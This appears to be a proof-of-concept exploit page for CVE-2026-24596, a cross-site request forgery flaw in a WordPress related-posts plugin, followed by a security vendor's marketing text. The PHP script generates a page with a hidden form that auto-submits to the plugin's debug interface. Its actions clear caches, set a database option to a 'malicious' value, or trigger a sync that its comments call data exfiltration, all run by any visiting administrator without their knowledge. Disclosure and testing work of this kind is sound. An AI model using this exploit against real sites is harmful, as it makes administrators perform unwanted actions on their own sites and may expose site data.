// CVE-2026-24596 - Related Posts Thumbnails Plugin for WordPress <= 4.3.2 - Cross-Site Request Forgery

<?php
/**
 * Proof of Concept for CVE-2026-24596
 * This script demonstrates CSRF against the Related Posts Thumbnails debug interface.
 * Requires a logged-in administrator with 'manage_options' capability to visit the page.
 */

$target_url = 'http://vulnerable-wordpress-site.com/wp-content/plugins/related-posts-thumbnails/lib/wpb-sdk/views/wpb-debug.php';

// Choose one of the four vulnerable actions:
$action = 'clear_cache'; // Options: 'clear_cache', 'clear_updates', 'sync_data', 'set_option'

// Generate HTML form with malicious payload
$html = '<!DOCTYPE html>
<html>
<head>
    <title>CVE-2026-24596 PoC</title>
</head>
<body>
    <h1>CSRF PoC for Related Posts Thumbnails Plugin</h1>
    <p>This page contains a hidden form that will automatically submit to the vulnerable debug interface.</p>
    <p>If you are a logged-in WordPress administrator, the action will execute without your knowledge.</p>
    
    <form id="csrf_form" method="POST" action="' . htmlspecialchars($target_url) . '">';

switch ($action) {
    case 'clear_cache':
        // Clear API cache action
        $html .= '<input type="hidden" name="wpb_clear_api_cache" value="true">';
        $html .= '<p>Action: Clear API Cache</p>';
        break;
        
    case 'clear_updates':
        // Clear updates transients action
        $html .= '<input type="hidden" name="wpb_action" value="clear_updates_data">';
        $html .= '<p>Action: Clear Updates Transients</p>';
        break;
        
    case 'sync_data':
        // Background sync action - sends sensitive data to external server
        $html .= '<input type="hidden" name="background_sync" value="true">';
        $html .= '<p>Action: Background Sync (data exfiltration)</p>';
        break;
        
    case 'set_option':
        // Set database option action
        $html .= '<input type="hidden" name="set_option_name" value="wpb_test_option">';
        $html .= '<input type="hidden" name="option_value" value="malicious_value">';
        $html .= '<p>Action: Set Database Option</p>';
        break;
}

$html .= '    </form>
    
    <script>
        // Auto-submit the form after 2 seconds
        setTimeout(function() {
            document.getElementById("csrf_form").submit();
        }, 2000);
    </script>
</body>
</html>';

echo $html;
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School